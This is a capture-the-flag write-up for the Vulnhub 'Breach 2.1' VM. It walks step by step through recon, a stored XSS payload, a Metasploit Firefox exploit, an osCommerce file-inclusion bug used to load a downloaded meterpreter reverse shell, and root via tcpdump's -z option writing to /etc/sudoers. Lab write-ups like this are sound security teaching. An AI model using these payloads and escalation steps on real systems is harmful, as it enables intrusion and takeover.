Breach 2.1 Vulnhub Writeup

  1. Service discovery
  2. ssh
  3. Next steps
  4. Old blog is old
  5. Out foxing Firefox
  6. Getting shell
  7. Local services
  8. blumbergh
  9. The end game
  10. Summary

A while ago, Ben R asked me to give some feedback on his new VM, Breach: 2.1. Here are my findings.

Service discovery

As always, it starts with an nmap scan.

root@kali:~# nmap -T4 -A -v -p0-65535 192.168.110.151

Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2016-09-07 07:54 EDT
NSE: Loaded 138 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating ARP Ping Scan at 07:54
Scanning 192.168.110.151 [1 port]
Completed ARP Ping Scan at 07:54, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:54
Completed Parallel DNS resolution of 1 host. at 07:54, 0.05s elapsed
Initiating SYN Stealth Scan at 07:54
Scanning 192.168.110.151 [65536 ports]
Discovered open port 111/tcp on 192.168.110.151
Discovered open port 65535/tcp on 192.168.110.151
Discovered open port 55446/tcp on 192.168.110.151
Completed SYN Stealth Scan at 07:54, 3.59s elapsed (65536 total ports)
Initiating Service scan at 07:54
Scanning 3 services on 192.168.110.151
Completed Service scan at 07:54, 11.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.110.151
NSE: Script scanning 192.168.110.151.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.43s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Nmap scan report for 192.168.110.151
Host is up (0.00033s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          47979/udp  status
|_  100024  1          55446/tcp  status
55446/tcp open  status  1 (RPC #100024)
65535/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey:
|   1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA)
|   2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA)
|_  256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA)
MAC Address: 08:00:27:0D:9A:2B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Uptime guess: 0.000 days (since Wed Sep  7 07:54:13 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.33 ms 192.168.110.151

NSE: Script Post-scanning.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.68 seconds
           Raw packets sent: 65559 (2.885MB) | Rcvd: 65551 (2.623MB)

So, we've got a few ports open, but really only one of any interest - 65535 which is hosting an ssh server.

ssh

After connecting to the ssh server, we're presented with the following banner.

root@kali:~# ssh -p65535 192.168.110.151
#############################################################################
#                  Welcome to Initech Cyber Consulting, LLC                 #
#              All connections are monitored and recorded                #
#                  Unauthorized access is encouraged                     #
#          Peter, if that's you - the password is in the source.         #
#          Also, stop checking your blog all day and enjoy your vacation!   #
#############################################################################
root@192.168.110.151's password:

We can safely assume there's a user named peter on the system - but where is this source that is mentioned? We also are given the impression that peter is checking his blog all day. This suggests we need to exploit a client at some point down the line.

While speaking with Ben R, he inadvertently dropped the bombshell about the password being inthesource. I could pretend I was close to getting it, but I'd be lying.

root@kali:~# ssh -p65535 peter@192.168.110.151
#############################################################################
#                  Welcome to Initech Cyber Consulting, LLC                 #
#              All connections are monitored and recorded                #
#                  Unauthorized access is encouraged                     #
#          Peter, if that's you - the password is in the source.         #
#          Also, stop checking your blog all day and enjoy your vacation!   #
#############################################################################
peter@192.168.110.151's password:
Connection to 192.168.110.151 closed.

Wait..what? The password was accepted, but we lost our connection straight away. My guess is that the ForceCommand setting has been set in the ssh config. After a while of bashing my head against this, decided to go back to the beginning and run another set of nmap scans.

Something changed.. In the new nmap scan, we see that port 80 is open!

Discovered open port 80/tcp on 192.168.110.151

Next steps

Browsing to 192.168.110.151, we're presented with the following page.

Looking at the source, we're also trolled a little bit.

<!--I like hints! Here at Initech we don't trust our users and either should you!-->

<!--I'm not just going to stick creds here, really, I'm not. Sorry-->

I find nothing in the image, so turn to dirsearch.

root@kali:~/dirsearch# python3 dirsearch.py -u 192.168.110.151 -e php

 _|. _ _  _  _  _ _|_    v0.3.6
(_||| _) (/_(_|| (_| )

Extensions: php | Threads: 10 | Wordlist size: 5147

Error Log: /root/dirsearch/logs/errors-16-09-07_08-34-14.log

Target: 192.168.110.151

[08:34:14] Starting:
[08:34:15] 403 -  301B  - /.ht_wsr.txt
[08:34:15] 403 -  303B  - /.htaccess-dev
[08:34:15] 403 -  305B  - /.htaccess-marco
[08:34:15] 403 -  305B  - /.htaccess-local
[08:34:15] 403 -  304B  - /.htaccess.bak1
[08:34:15] 403 -  294B  - /.hta
[08:34:15] 403 -  303B  - /.htaccess.BAK
[08:34:15] 403 -  306B  - /.htaccess.sample
[08:34:15] 403 -  303B  - /.htaccess.old
[08:34:15] 403 -  303B  - /.htaccess.txt
[08:34:15] 403 -  302B  - /.htaccessOLD
[08:34:15] 403 -  304B  - /.htaccess.save
[08:34:15] 403 -  302B  - /.htaccessBAK
[08:34:15] 403 -  303B  - /.htaccessOLD2
[08:34:15] 403 -  304B  - /.htaccess.orig
[08:34:15] 403 -  305B  - /.htaccess_extra
[08:34:15] 403 -  304B  - /.htaccess_orig
[08:34:15] 403 -  302B  - /.htaccess_sc
[08:34:15] 403 -  298B  - /.htgroup
[08:34:15] 403 -  303B  - /.htpasswd-old
[08:34:15] 403 -  300B  - /.htaccess~
[08:34:15] 403 -  298B  - /.htusers
[08:34:15] 403 -  300B  - /.htpasswds
[08:34:15] 403 -  304B  - /.htpasswd_test
[08:34:21] 301 -  317B  - /blog  ->  http://192.168.110.151/blog/
[08:34:24] 301 -  319B  - /images  ->  http://192.168.110.151/images/
[08:34:24] 200 -  468B  - /index.html
[08:34:28] 403 -  303B  - /server-status
[08:34:28] 403 -  304B  - /server-status/

Great, we've got a hit for the path /blog. After browsing to this path, we're met with an old blog system.

Old blog is old

Viewing the source of the page, we can see that this is powered by an old version of BlogPHP

Copyright &copy;2006 Powered by <a href='http://www.blogphp.net'>

After looking for exploits, and testing SQLi injection vulnerabilities (without success) found, I turn to a persistent XSS vulnerability. Essentially, we are able to trigger a XSS vulnerability by using the username field when registering on the blog.

I test this by registering with the username of <img src="http://192.168.110.101">, and then listening on port 80 on my test machine with the following command.

root@kali:~# ncat -l -k -v 80
Ncat: Version 7.25BETA1 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80

Now, I wait..after some time, we get the following request.

Ncat: Connection from 192.168.110.151.
Ncat: Connection from 192.168.110.151:38589.
GET / HTTP/1.1
Host: 192.168.110.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.110.151/blog/members.html

Out foxing Firefox

So, from the above request, we know that the client is using FireFox 15. I happen to know that metasploit has a module named exploit/multi/browser/firefox_proto_crmfrequest which is applicable to version 15.

I create a new user with the username of <iframe src="http://192.168.110.101"></iframe>, fire up msfconsole and get to work.

msf > use exploit/multi/browser/firefox_proto_crmfrequest
msf exploit(firefox_proto_crmfrequest) > show options

Module options (exploit/multi/browser/firefox_proto_crmfrequest):

   Name           Current Setting               Required  Description
   ----           ---------------               --------  -----------
   ADDONNAME      HTML5 Rendering Enhancements  yes       The addon name.
   AutoUninstall  true                          yes       Automatically uninstall the addon after payload execution
   CONTENT                                      no        Content to display inside the HTML <body>.
   Retries        true                          no        Allow the browser to retry the module
   SRVHOST        0.0.0.0                       yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT        8080                          yes       The local port to listen on.
   SSL            false                         no        Negotiate SSL for incoming connections
   SSLCert                                      no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)

msf exploit(firefox_proto_crmfrequest) > set URIPATH /
URIPATH => /
msf exploit(firefox_proto_crmfrequest) > set SRVPORT 80
SRVPORT => 80
msf exploit(firefox_proto_crmfrequest) > set SRVHOST 192.168.110.101
SRVHOST => 192.168.110.101
msf exploit(firefox_proto_crmfrequest) > set LHOST 192.168.110.101
LHOST => 192.168.110.101
msf exploit(firefox_proto_crmfrequest) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.110.101:4444
[*] Using URL: http://192.168.110.101:80/
[*] Server started.

After some time..

[*] Gathering target information for 192.168.110.151
[*] Sending HTML response to 192.168.110.151
[*] Gathering target information for 192.168.110.151
[*] Sending HTML response to 192.168.110.151
[*] Sending HTML
[*] Sending the malicious addon
id
[*] exec: id

uid=0(root) gid=0(root) groups=0(root)
[*] Command shell session 1 opened (192.168.110.101:4444 -> 192.168.110.151:60538) at 2016-09-07 09:12:44 -0400
msf exploit(firefox_proto_crmfrequest) > sessions

Active sessions
===============

  Id  Type           Information  Connection
  --  ----           -----------  ----------
  1   shell firefox               192.168.110.101:4444 -> 192.168.110.151:60538 (192.168.110.151)

msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...

Desktop
Documents
Downloads
firefox.sh
Music
Pictures
Public
Templates
Videos
id
uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)

Getting shell

After getting a shell, my first step was to find out why we can't connect via ssh with the user peter. I check out the content of /etc/ssh/sshd_config, and find the answer.

UsePAM yes
AllowUsers peter
ForceCommand /usr/bin/startme
AddressFamily inet

In order to bypass this "protection", we can simply add a call to exec sh to the .bashrc file of the user peter. It's also worth noting that peter is the only user allowed to login via ssh.

echo "exec sh" > .bashrc

I then go back and try to login via ssh.

root@kali:~# ssh -p65535 peter@192.168.110.151
#############################################################################
#                  Welcome to Initech Cyber Consulting, LLC                 #
#              All connections are monitored and recorded                #
#                  Unauthorized access is encouraged                     #
#          Peter, if that's you - the password is in the source.         #
#          Also, stop checking your blog all day and enjoy your vacation!   #
#############################################################################
peter@192.168.110.151's password:
$ id
uid=1000(peter) gid=1000(peter) groups=1000(peter),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth),1003(fishermen)

Local services

After gaining a true shell as the user peter, I sniff around their home directory. Finding nothing of real interest, I check out which services are running locally.

$ netstat -tln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:47567           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:2323          0.0.0.0:*               LISTEN     
tcp6       0      0 :::33916                :::*                    LISTEN     
tcp6       0      0 :::111                  :::*                    LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN

Interesting - we have mysql on port 3306 and an unknown service running on port 2323. I check out the files in /etc in an attempt to try and figure out which service is running on this port.

$ grep -rl 2323 /etc 2>/dev/null
/etc/xinetd.d/initech
/etc/services
$ cat /etc/xinetd.d/initech
# default: on

service initech

{

disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/in.telnetd
log_on_failure += USERID
bind = 127.0.0.1
only_from = 127.0.0.1
port = 2323
banner = /etc/motd
}
bind = 127.0.0.1
only_from = 127.0.0.1
port = 2424

Great - looks like it's a telnet server. Connecting to this server gives us an interesting banner, which appears to be a set of coordinates.

$ telnet localhost 2323
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login:

Putting these coordinates in to Google results in an exact hit on the city of Houston.

After checking out the list of users on the system, we have two to try to login as - blumbergh and milton. As peter is the only user allowed to login via ssh, we will have to try and login via telnet.

$ telnet localhost 2323
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login: milton
Password:

Login incorrect
breach2 login: milton
Password:
Last login: Wed Jul 20 21:04:18 EDT 2016 from localhost on pts/0
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W
3
2
1
Whose stapler is it?

Second time lucky - we get a valid login of milton with the password of Houston, but what the hell is this question?

After some digging, we find the source of this question.

$ grep -rl stapler / 2>/dev/null
opt/firefox/dictionaries/en-US.dic
proc/1704/task/1704/cmdline
proc/1704/cmdline
usr/share/hunspell/en_US.dic
usr/share/dict/american-english
usr/local/bin/cd.py <--- BINGO

I check out the content of this file, to see if we have the answer to the question available to us.

$ cat /usr/local/bin/cd.py
#!/usr/bin/python

import signal
import time
import os

s = signal.signal(signal.SIGINT, signal.SIG_IGN)

countdown=3

while countdown >0:
    time.sleep(1)
    print(countdown)
    countdown -=1
if countdown <1:
    question = raw_input("Whose stapler is it?")
if question == "mine":
    os.system("echo 'Woot!'")
else:

    os.system("kill -9 %d"%(os.getppid()))
    signal.signal(signal.SIGINT, s)

Great, let's give that a go.

$ telnet localhost 2323
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login: milton
Password:
Last login: Wed Sep  7 11:00:24 EDT 2016 from localhost on pts/1
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W
3
2
1
Whose stapler is it?mine
Woot!
milton@breach2:~$ id
uid=1002(milton) gid=1002(milton) groups=1002(milton)

Great stuff, so what next?

More new services?

After slowing down a bit, and investigating the machine, I note several things.

  • nginx is configured to run on port 8888
  • nginx is further configure to use php5-fpm, which runs as the blumbergh user
  • the site configured on nginx hosts a copy of oscommerce

I believe this reflects a solid possibility of a route to elevate to the blumbergh user.

I check the open ports again - who knows, maybe nginx has been brought up as part of our progress through the system.

milton@breach2:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:47567           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:2323          0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::8888                 :::*                    LISTEN      -               
tcp6       0      0 :::33916                :::*                    LISTEN      -               
tcp6       0      0 :::111                  :::*                    LISTEN      -               
tcp6       0      0 :::80                   :::*                    LISTEN      -               
udp        0      0 0.0.0.0:34430           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:39856           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -               
udp        0      0 0.0.0.0:1001            0.0.0.0:*                           -               
udp        0      0 127.0.0.1:1011          0.0.0.0:*                           -               
udp        0      0 0.0.0.0:111             0.0.0.0:*                           -               
udp6       0      0 :::34183                :::*                                -               
udp6       0      0 :::5353                 :::*                                -               
udp6       0      0 :::1001                 :::*                                -               
udp6       0      0 :::32878                :::*                                -               
udp6       0      0 :::111                  :::*                                -     

Ok, so port 8888 is infact open now.

After some digging, it appears that when we login to milton, the .profile will run /etc/init.d/nginx start under sudo, and then set an alias for sudo, so that it appears that we don't have any sudo permissions. Sneaky! Below is an excerpt from /home/milton/.profile.

python /usr/local/bin/cd.py
sudo /etc/init.d/nginx start &> /dev/null

sudo() {
echo "Sorry, user milton may not run sudo on breach2."
}
readonly -f sudo

After browsing to port 8888, we are presented with a directory listing, including a directory named oscommerce. Browsing to this directory, we are met with a very fancy looking shop.

We very quickly see that the version is very out of date (3.0a5), and is susceptible to a local file inclusion vulnerability.

Without wasting any time, I test this supposition by placing in to a file named test.php the content <?php phpinfo(), and then browsing to http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/test. I had to add a few more directory traversals due to the fact the path to the site is slightly different than in the exploit described. Visiting this URL results in the inclusion of the file /tmp/test.php, and as such we now have the ability to execute code under the context of the user blumbergh!

blumbergh

To get a decent shell on blumbergh, I generate a meterpreter payload in PHP, and save it under /tmp/test.

Firstly, I generate the payload on my kali machine, and then start a minimal web server.

root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.110.101 LPORT=4444 -f raw > shell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 26803 bytes

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

Next, I use wget to download this payload to /tmp/test.php on the target.

milton@breach2:~$ wget http://192.168.110.101/shell.php -O /tmp/test.php
--2016-09-07 11:28:03--  http://192.168.110.101/shell.php
Connecting to 192.168.110.101:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26803 (26K) [application/octet-stream]
Saving to: ‘/tmp/test.php’

/tmp/test.php                         100%[===========================================================================>]  26.17K  --.-KB/s   in 0s     

2016-09-07 11:28:03 (368 MB/s) - ‘/tmp/test.php’ saved [26803/26803]

We'll need an exploit handler in msfconsole.

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter_reverse_tcp
PAYLOAD => php/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.101
LHOST => 192.168.110.101
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.110.101:4444
[*] Starting the payload handler...

Finally, let's trigger the payload by refreshing the above URL.

[*] Meterpreter session 1 opened (192.168.110.101:4444 -> 192.168.110.151:38957) at 2016-09-07 10:22:38 -0400

meterpreter > getuid
Server username: blumbergh (1001)

Boo-ya!

The end game

I get a shell as the blumbergh user, and check for sudo privileges.

meterpreter > shell
Process 2091 created.
Channel 0 created.
sudo -l
Matching Defaults entries for blumbergh on breach2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blumbergh may run the following commands on breach2:
    (root) NOPASSWD: /usr/sbin/tcpdump

Interesting.. we can run /usr/sbin/tcpdump as root without a password. After searching for vulnerabilities regarding running tcpdump as root, and come across this interesting post.

Essentially, we can trigger execution of our own commands from tcpdump by specifying a custom postrotate-command parameter. The path specified in this parameter will get executed once the maximum buffer size has been reached, when tcpdump comes to rotate the output file and (optionally) compress the resulting rotated file with a custom command (in this case, our malicious script).

I first of all place the command to add blumbergh as a sudoer in the file /tmp/test2, and then chmod /tmp/test2 to make it executable.

echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test2 && chmod +x /tmp/test2

Time to get root.

sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test2 -Z root
sudo su
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls -lah
total 60K
drwx------  7 root root 4.0K Jul 20 21:08 .
drwxr-xr-x 22 root root 4.0K Jun 20 14:21 ..
drwx------  2 root root 4.0K Jun 21 11:01 .aptitude
-rw-------  1 root root   49 Jul 20 21:08 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  2 root root 4.0K Jun 19 16:42 .cache
drwx------  3 root root 4.0K Jun 19 16:42 .config
-rw-r--r--  1 root root 5.0K Jun 22 10:46 .flag.py
drwx------  4 root root 4.0K Jun 19 16:42 .mozilla
-rw-------  1 root root  958 Jun 21 10:50 .mysql_history
-rw-------  1 root root   44 Jul 20 20:31 .nano_history
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r--r--  1 root root   66 Jun 16 12:59 .selected_editor
drwx------  2 root root 4.0K Jun 19 16:42 .ssh
-rw-------  1 root root    0 Jun 18 19:20 .Xauthority
cat .flag.py
#!/usr/bin/python

import time
from time import sleep
import sys
import os
import hashlib

def delay_print (s):
    for c in s:
        sys.stdout.write( '%s' % c )
        sys.stdout.flush()

        sleep(0.10 )

print('\n')
art = "23 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 23 0d 0a 23 20 5f 5f 5f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 5f 5f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 23 28 20 20 20 29 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 20 20 20 29 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 23 0d 0a 23 20 7c 20 7c 2e 2d 2e 20 20 20 20 5f 5f 5f 20 2e 2d 2e 20 20 20 20 20 20 2e 2d 2d 2e 20 20 20 20 20 2e 2d 2d 2d 2e 20 20 20 20 2e 2d 2d 2e 20 20 20 20 20 7c 20 7c 20 2e 2d 2e 20 20 20 20 20 20 20 2e 2d 2d 2e 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 2d 2e 20 20 20 23 0d 0a 23 20 7c 20 2f 20 20 20 5c 20 20 28 20 20 20 29 20 20 20 5c 20 20 20 20 2f 20 20 20 20 5c 20 20 20 2f 20 2e 2d 2c 20 5c 20 20 2f 20 20 20 20 5c 20 20 20 20 7c 20 7c 2f 20 20 20 5c 20 20 20 20 20 3b 20 20 5f 20 20 5c 20 20 20 20 20 20 20 20 20 2f 20 20 20 20 5c 20 20 23 0d 0a 23 20 7c 20 20 2e 2d 2e 20 7c 20 20 7c 20 27 20 2e 2d 2e 20 3b 20 20 7c 20 20 2e 2d 2e 20 3b 20 28 5f 5f 29 20 3b 20 7c 20 7c 20 20 2e 2d 2e 20 3b 20 20 20 7c 20 20 2e 2d 2e 20 2e 20 20 20 20 28 5f 5f 5f 29 60 20 7c 20 20 20 20 20 20 20 20 7c 20 20 2e 2d 2e 20 3b 20 23 0d 0a 23 20 7c 20 7c 20 20 7c 20 7c 20 20 7c 20 20 2f 20 28 5f 5f 5f 29 20 7c 20 20 7c 20 7c 20 7c 20 20 20 2e 27 60 20 20 7c 20 7c 20 20 7c 28 5f 5f 5f 29 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 20 27 20 27 20 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 23 0d 0a 23 20 7c 20 7c 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 7c 20 20 7c 2f 20 20 7c 20 20 2f 20 2e 27 7c 20 7c 20 7c 20 20 7c 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 23 0d 0a 23 20 7c 20 7c 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 7c 20 20 27 20 5f 2e 27 20 7c 20 2f 20 20 7c 20 7c 20 7c 20 20 7c 20 5f 5f 5f 20 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 20 20 20 20 7c 20 7c 20 20 7c 20 7c 20 23 0d 0a 23 20 7c 20 27 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 20 20 7c 20 20 2e 27 2e 2d 2e 20 3b 20 7c 20 20 3b 20 7c 20 7c 20 20 27 28 20 20 20 29 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 20 2f 20 2f 20 20 20 20 20 20 2e 2d 2e 20 20 7c 20 27 20 20 7c 20 7c 20 23 0d 0a 23 20 27 20 60 2d 27 20 3b 20 20 20 7c 20 7c 20 20 20 20 20 20 20 20 27 20 20 60 2d 27 20 2f 20 27 20 60 2d 27 20 20 7c 20 27 20 20 60 2d 27 20 7c 20 20 20 7c 20 7c 20 20 7c 20 7c 20 20 20 20 20 2f 20 27 5f 5f 5f 5f 20 20 28 20 20 20 29 20 27 20 20 60 2d 27 20 2f 20 23 0d 0a 23 20 20 60 2e 5f 5f 2e 20 20 20 28 5f 5f 5f 29 20 20 20 20 20 20 20 20 60 2e 5f 5f 2e 27 20 20 60 2e 5f 5f 2e 27 5f 2e 20 20 60 2e 5f 5f 2c 27 20 20 20 28 5f 5f 5f 29 28 5f 5f 5f 29 20 20 20 28 5f 5f 5f 5f 5f 5f 5f 29 20 20 60 2d 27 20 20 20 60 2e 5f 5f 2c 27 20 20 23 20 0d 0a 23 20 20 20 20 20 20 20 20 20 20 20 20 20 09 09 09 09 09 09 09 09 09 20 20 20 20 20 20 20 20 20 23 09 09 0d 0a 23 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 23"
print bytearray.fromhex(art).decode()
print('\n')

msg = "43 6f 6e 67 72 61 74 75 6c 61 74 69 6f 6e 73 20 6f 6e 20 72 65 61 63 68 69 6e 67 20 74 68 65 20 65 6e 64 2e 20 49 20 68 61 76 65 20 6c 65 61 72 6e 65 64 20 61 20 74 6f 6e 20 70 75 74 74 69 6e 67 20 74 6f 67 65 74 68 65 72 20 74 68 65 73 65 20 63 68 61 6c 6c 65 6e 67 65 73 20 61 6e 64 20 49 20 68 6f 70 65 20 79 6f 75 20 65 6e 6a 6f 79 65 64 20 69 74 20 61 6e 64 20 70 65 72 68 61 70 73 20 6c 65 61 72 6e 65 64 20 73 6f 6d 65 74 68 69 6e 67 20 6e 65 77 2e 20 53 74 61 79 20 74 75 6e 65 64 20 66 6f 72 20 74 68 65 20 66 69 6e 61 6c 20 69 6e 20 74 68 65 20 73 65 72 69 65 73 2c 20 42 72 65 61 63 68 20 33 2e 30"

delay_print (bytearray.fromhex(msg).decode())
print('\n')

sh0t = "53 68 6f 75 74 2d 6f 75 74 20 74 6f 20 73 69 7a 7a 6f 70 2c 20 6b 6e 69 67 68 74 6d 61 72 65 20 61 6e 64 20 72 61 73 74 61 6d 6f 75 73 65 20 66 6f 72 20 74 65 73 74 69 6e 67 20 61 6e 64 20 67 30 74 6d 69 31 6b 20 66 6f 72 20 68 6f 73 74 69 6e 67 20 61 6e 64 20 6d 61 69 6e 74 61 69 6e 69 6e 67 20 23 76 75 6c 6e 68 75 62 2e"

delay_print (bytearray.fromhex(sh0t).decode())
print('\n')

print("-mrb3n")
print('\n')
print('\n')

So, let's execute .flag.py, and watch the fireworks!

python .flag.py


#========================================================================================#
# ___                                               ___                                  #
#(   )                                             (   )                                 #
# | |.-.    ___ .-.      .--.     .---.    .--.     | | .-.       .--.             .-.   #
# | /   \  (   )   \    /    \   / .-, \  /    \    | |/   \     ;  _  \         /    \  #
# |  .-. |  | ' .-. ;  |  .-. ; (__) ; | |  .-. ;   |  .-. .    (___)` |        |  .-. ; #
# | |  | |  |  / (___) |  | | |   .'`  | |  |(___)  | |  | |         ' '        | |  | | #
# | |  | |  | |        |  |/  |  / .'| | |  |       | |  | |        / /         | |  | | #
# | |  | |  | |        |  ' _.' | /  | | |  | ___   | |  | |       / /          | |  | | #
# | '  | |  | |        |  .'.-. ; |  ; | |  '(   )  | |  | |      / /      .-.  | '  | | #
